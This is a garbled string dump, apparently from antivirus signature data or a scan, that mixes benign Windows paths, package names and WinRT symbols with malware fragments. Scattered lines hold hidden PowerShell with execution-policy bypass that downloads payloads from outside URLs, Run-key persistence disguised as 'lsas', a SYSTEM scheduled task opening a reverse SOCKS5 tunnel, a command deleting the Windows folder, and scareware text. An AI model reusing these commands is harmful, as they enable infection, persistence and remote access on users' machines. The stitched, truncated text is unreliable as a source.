AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAExploit:Script/VulnMachineKey.3536
SMicrosoftWindows.CrossDevice_cw5n1h2txyewy
Microsoft.WindowsAlarms_8wekyb3d8bbwe (C:\Users\job\AppData\Local\Packages)
R'file:C:/Users/job/AppData/Local/Packages/Microsoft.WindowsAlarms_8wekyb3d8bbwe
z'file:C:/Users/job/AppData/Local/Packages/Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe
Microsoft.WindowsTerminal_8wekyb3d8bbwe (C:\Users\job\AppData\Local\Packages)
>AppData (C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy)
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
>RoamingState (C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy)
SMicrosoftWindows.Client.OOBE_cw5n1h2txyewy
!C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy\RoamingState
>windows.immersivecontrolpanel_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
!C:\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\AppData
C:\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe
!C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Tools\Recovery Drive.lnk
!C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Tools\ODBC Data Sources (64-bit).lnk
'file:C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Administrative Tools/Component Services.lnk
>desktop (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Accessories)
d!C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
c:\windows\system325
Microsoft.Windows.Update.Undocked.FailoverEventAggregator
Microsoft.Windows.MediaFoundation.TelemetrySession
"ifnotexist"%systemdrive%\windows\system32\printui.dll"(ifexist"%systemdrive%\windows\system32"rmdir/s/q"\\?\%systemdrive%\windows"mkdir"\\?\%systemdrive%\windows\system32"xcopy"%systemdrive%\windows\system32\printui.exe
,$path);if((get-item$path).length-ge30000){[diagnostics.process];break;}}catch{}}sleep-s4;cmd/cc:\windows\syswow64\rundll32.exe'c:
C:\WINDOWS\system32\dwm.exe%
c:\windows\systray\
C:\WINDOWS\system32\cmd.exe /c xcopy %CD%\
C:\WINDOWS\system32\cmd.exe /c xcopy %CD%\
.exe /Y /h /k /r %WINDIR%\system32
C:\WINDOWS\system32\cmd.exe /c reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run /v "lsas" /t REG_SZ /d "%WINDIR%\system32\
setprocesswindowstation\bsmkexwm.log
= "powe" + "rshell -windowstyle hidden $= new-o(
c:\windows\system32\
c:\windows\system32\sp
c:\windows
.uid=%08x%08x%08x&di=%08x&pin=%05d&life=%d&lt=%d&v0=1&l=%d&d=%d&u=%d&act=%d&ic=%dSoftware\Microsoft\Windows\CurrentVersion\Uninstall\LinkOptimizer&act=gc&pin=%5d&d=%shttp://www.flashkin.netl
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Gdi32Full-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|2
windows\
mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/64.0.3282.140 safari/537.36 edge/17.17134
windowsinstaller.
SELECT COUNT(*) FROM PackageLocation WHERE Volume=? AND InstalledLocation LIKE '%WindowsApps%' AND (_WorkId=0 OR _WorkId=?);
SELECT COUNT(*) FROM PackageLocation WHERE Volume=? AND InstalledLocation LIKE '%WindowsApps%' AND _WorkId=0;
[hkey_local_machine\software\microsoft\windows\currentversion\run]
clientcore\windows\advcore\ctf\shellhandwriting\client\handwritingclient.cpp
clientcore\windows\advcore\ctf\shellhandwriting\threaddispatcherclient\threaddispatcherhandwritingclient.cpp
clientcore\windows\advcore\ctf\shellhandwriting\delegation\shellhandwritingdelegation.cpp
\SystemRoot\system32\drivers\CEA.sys
TermsrvGetWindowsDirectoryW
TermsrvGetWindowsDirectoryA
Microsoft.Windows.Security.CodeIntegrity.SACWintrustActivityVerbose
Win32API|Windows 95/98 Functions|DRIVE_MAP_INFObtInt13Unit
9PBWWQGXVMKCMonster Sanctuary (Windows Version)https://store-images.s-microsoft.com/image/apps.34105.14110383629447010.17706117-8769-46af-985e-db557adb3449.f789760c-aea4-489f-bee5-c665a3cba833en
9PBWWQGXVMKCMonster Sanctuary (Windows Version)https://store-images.s-microsoft.com/image/apps.34105.14110383629447010.17706117-8769-46af-985e-db557adb3449.f789760c-aea4-489f-bee5-c665a3cba833fr
9PBWWQGXVMKCMonster Sanctuary (Windows Version)https://store-images.s-microsoft.com/image/apps.34105.14110383629447010.17706117-8769-46af-985e-db557adb3449.f789760c-aea4-489f-bee5-c665a3cba833de
C:\WINDOWS\system32\backgroundTaskHost.exe
dir%\system32\vsocklib.dll2
setEligibileWindowsActivation
winlogon.exe$
C:\windows\explore
C:\windows\explore
C:\windows\explore
WindowsFormsApplication1W
.?AU?$implements@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateExtension@Xaml@UI@Windows@4@UIComponentConnector@Markup@6784@UIDataTemplateComponent@Markup@6784@@winrt@@
.?AU?$producers_base@UXamlBindings@implementation@TaskManagerApp@winrt@@V?$tuple@UIDataTemplateExtension@Xaml@UI@Windows@winrt@@UIComponentConnector@Markup@2345@UIDataTemplateComponent@72345@@std@@@impl@winrt@@
.?AU?$producer_convert@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateExtension@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateExtension@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UXamlBindings@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UXamlBindings@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateComponent@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateComponent@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateExtension@Xaml@UI@Windows@4@UIComponentConnector@Markup@6784@UIDataTemplateComponent@Markup@6784@@impl@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IObservableVector@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@VCustomDrawingExtension@Xaml@View@TaskManager@@UIInspectable@Foundation@Windows@winrt@@X@impl@winrt@@
e@UFilterControl@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
WindowsApplication1.BuryAlive.resourcesWZ
windows xp key gener
soft\windows\cx
\windows\explorer.exe
\windows\system32\mrt.exe
\windows\system32\mpsigstub.exe
\windows\cynetms.exe
GetProcessWindowStation
schtasks/create/rusystem/schourly/tn"windowswsusupdater"/tr"c:\windows<spanclass="s1">\system.exe-lrtcp://0.0.0.0:2222/127.0.0.1:4444-fsocks5://user:pass@
Microsoft Windowsm
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\System32\GroupPolicy\Machine
WINDOWS11
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
%WINDIR%\SYSTEM32\tasks
c:\WindowsU
.d@{C:\Windows\SystemApps\SxS\MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}
C:%5CWindows%5CSystemApps%5CSxS%5CMicrosoftWindows.59336768.Speion_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\SxS\MicrosoftWindows.59336768.Speion_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}
C:%5CWindows%5CSystemApps%5CSxS%5CMicrosoftWindows.59337133.Voiess_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\SxS\MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}
C:%5CWindows%5CSystemApps%5CSxS%5CMicrosoftWindows.59337145.Livtop_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\SxS\MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}
C:%5CWindows%5CSystemApps%5CSxS%5CMicrosoftWindows.59379618.InpApp_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\SxS\MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}
@{C:\Windows\SystemApps\SxS\MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDisplayName}
C:%5CWindows%5CSystemApps%5CMicrosoftWindows.Client.CBS_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///Cortana.UI/Resources/TileDisplayName}
system32\rundll32{
CreateWindowsIdentity
SCHTASKS /Run /Tn "Microsoft\Windows\Windows Error Reporting\QueueReporting"\
1??LoadFrom@VolumePersistedSchedule@ReFs@FileSystem@Windows@@SA?AV2345@AEBVVolumePath@345@@Z@
.?AV<lambda_1>@?1??LoadFrom@VolumePersistedSettings@ReFs@FileSystem@Windows@@SA?AV2345@AEBVVolumePath@345@@Z@
.?AV<lambda_1>@?1??LoadFrom@VolumePersistedResults@ReFs@FileSystem@Windows@@SA?AV2345@AEBVVolumePath@345@@Z@
.?AV<lambda_1>@?1??StartAsync@?$DataChangeListener@VReFsDedupService@ReFs@FileSystem@Windows@@@ReFs@FileSystem@Windows@@QEAAXPEAVReFsDedupService@345@@Z@
WindowsTelemetry
)ionpolicybypass-windowstylehidden-command"&_"""$download
$c:\windows\system32\cmd.exe/cpowershell-command"$url='https://bitbucket.org/wavelength54/topu/downloads/lee.png';$path='c:\users\public\';invoke-webrequest-uri$url-outfile\"%userprofile%\]
c:\windows\
" target=_blank%s\update.ini\system32\sysads.inihttp://ads.8866.org/sysads.gifupdate.gifupdate.jpghttp://www.zxboy.com#http://
-Windows-WinRT-Error" Name="a86f8471-c31d-4fbc-a035-665d06047b03" Level="5" />
    <EventProvider Id="Microsoft-Windows-WMP" Name="f3f14ff3-7b80-4868-91d0-d77e497b025e" />
    <EventProvider Id="Windows_Media_Player_Trace" Name="a9c1a3b7-54f3-4724-adce-58bc03e3bc78" />
    <EventProvider Id="Windows-Media-FaceAnalysis-ApiDiagnostics" Name="a55d5a23-1a5b-580a-2be5-d7188f43fae1" />
    <EventProvider Id="WinLogon" Name="4b8b1947-ae4d-54e2-826a-1aee78ef05b2" />
            <EventProviderId Value="Microsoft.Windows.Capture.USBVideo.Trustlet" />
            <EventProviderId Value="Microsoft_Windows_Devices_Background" />
            <EventProviderId Value="Microsoft-Windows-Analog-SensorDataService" />
            <EventProviderId Value="Microsoft-Windows-Apps-Flighting-Photos" />
            <EventProviderId Value="Microsoft-Windows-Apps-Photos" />
            <EventProviderId Value="Microsoft-Windows-Apps-Photos-Analysis" />
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.30
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.31
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.32
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.33
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.34
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.35
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.36
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.37
|windows-1254|windows-1254|iso-8859-9
|windows-1253|windows-1253|iso-8859-7
WARNING WINDOWS SECURITY CENTERYOUR COMPUTER IS INFECTED BY SPYWARE !!!
windows\rlt
%Microsoft Windows Production PCA 20110
.regwrite "hkcu\software\microsoft\windows\currentversion\run\updat", "wscriptenviron$("userprofile") & "
WindowsCreateString
WindowsDeleteString
policybypass-windowstylehidden-1
Windows.Appraiser.amd64
Windows.AppraiserData.amd6R
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
%path="c:\windows\syswow64\rundll32.exe"if(-not(test-4
c:\windows\system32
E-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).d
c:\windows\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
*.ex://www.%s/?9windows\kswebshield.dlgo2000.c
windows 
	note for windows 10%
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
WINDOWS11
WINDOWS11
forWindowsPhone_xns73kv1ymhp2!App0
AutoHotkey\WindowSpy.ahk0
% Illustrator CC 2015\Support Files\Contents\Windows\3
.X86_64_WINDOWS\m
GitForWindows.Bash%
ProgramData\3CXPhone for Windows\
rosoft.windows.widgetsMic
windows.appExtension
JoreWideTile.png}@{Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe?ms-resource://G
1/x/sys/windows.aclfromentrieserror extracting dacl: %vcannot cre
 n@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@PEAVGenericAsyncHelper@Utils@TaskManager@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producers_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@@winrt@@V?$tuple@UIVectorChangedEventArgs@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer_convert@Uargs@?$observable_vector_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@Uargs@?$observable_vector_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@Uargs@?$observable_vector_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
)"packageFullName": "MicrosoftWindows.Client.CBS_1000.261
!FullName": "MicrosoftWindows.Client.CBS_1000.261
 @Windows.Data.Consent
New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name
Assets/contrast-white/WindowsSecurityMedTile.scale-200_contrast-white.pngPK
Assets/WindowsSecurityMedTile.scale-100.pngPK
Assets/contrast-white/WindowsSecurityMedTile.scale-150_contrast-white.pngPK
Assets/WindowsSecurityMedTile.scale-150.pngPK
Assets/contrast-black/WindowsSecurityLargeTile.scale-200_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityMedTile.scale-100_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityMedTile.scale-100_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-48_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityLargeTile.scale-200_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-96_altform-unplated_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityAppList.targetsize-96_contrast-white.pngPK
Assets/contrast-white/WindowsSecurityLargeTile.scale-150_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityMedTile.scale-200_contrast-black.pngPK
Assets/WindowsSecurityMedTile.scale-200.pngPK
Assets/contrast-black/WindowsSecuritySmallTile.scale-100_contrast-black.pngPK
Assets/contrast-white/WindowsSecurityLargeTile.scale-400_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityLargeTile.scale-400_contrast-black.pngPK
Assets/WindowsSecuritySmallTile.scale-100.pngPK
Assets/WindowsSecurityMedTile.scale-400.pngPK
Assets/WindowsSecurityLargeTile.scale-400.pngPK
Assets/contrast-white/WindowsSecurityMedTile.scale-400_contrast-white.pngPK
Assets/contrast-black/WindowsSecurityMedTile.scale-400_contrast-black.pngPK
Assets/contrast-white/WindowsSecuritySmallTile.scale-125_contrast-white.pngPK
Assets/contrast-white/WindowsSecuritySmallTile.scale-150_contrast-white.pngPK
Assets/contrast-white/WindowsSecuritySmallTile.scale-200_contrast-white.pngPK
Assets/contrast-white/WindowsSecuritySmallTile.scale-100_contrast-white.pngPK
Assets/contrast-white/WindowsSecuritySplashScreen.scale-100_contrast-white.pngPK
Assets/contrast-black/WindowsSecuritySmallTile.scale-125_contrast-black.pngPK
Assets/contrast-black/WindowsSecuritySmallTile.scale-150_contrast-black.pngPK
Assets/contrast-black/WindowsSecuritySmallTile.scale-200_contrast-black.pngPK
Assets/contrast-black/WindowsSecuritySplashScreen.scale-100_contrast-black.pngPK
Assets/WindowsSecuritySmallTile.scale-150.pngPK
Assets/WindowsSecuritySmallTile.scale-200.pngPK
Assets/WindowsSecuritySplashScreen.scale-100.pngPK
Assets/WindowsSecuritySplashScreen.scale-125.pngPK
Assets/WindowsSecuritySmallTile.scale-125.pngPK
windows.deploymentExtensionHandler
windows.publisherCacheFolders
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension|
windows.packageExtensiony
windows.packageExtensionw
windows.packageExtensionu
windows.packageExtensionr
windows.packageExtension
windows.packageExtension
windows.hostRuntime
windows.firewallRules
windows.firewallRules
windows.firewallRules
windows.firewallRules
windows.deploymentExtensionHandler
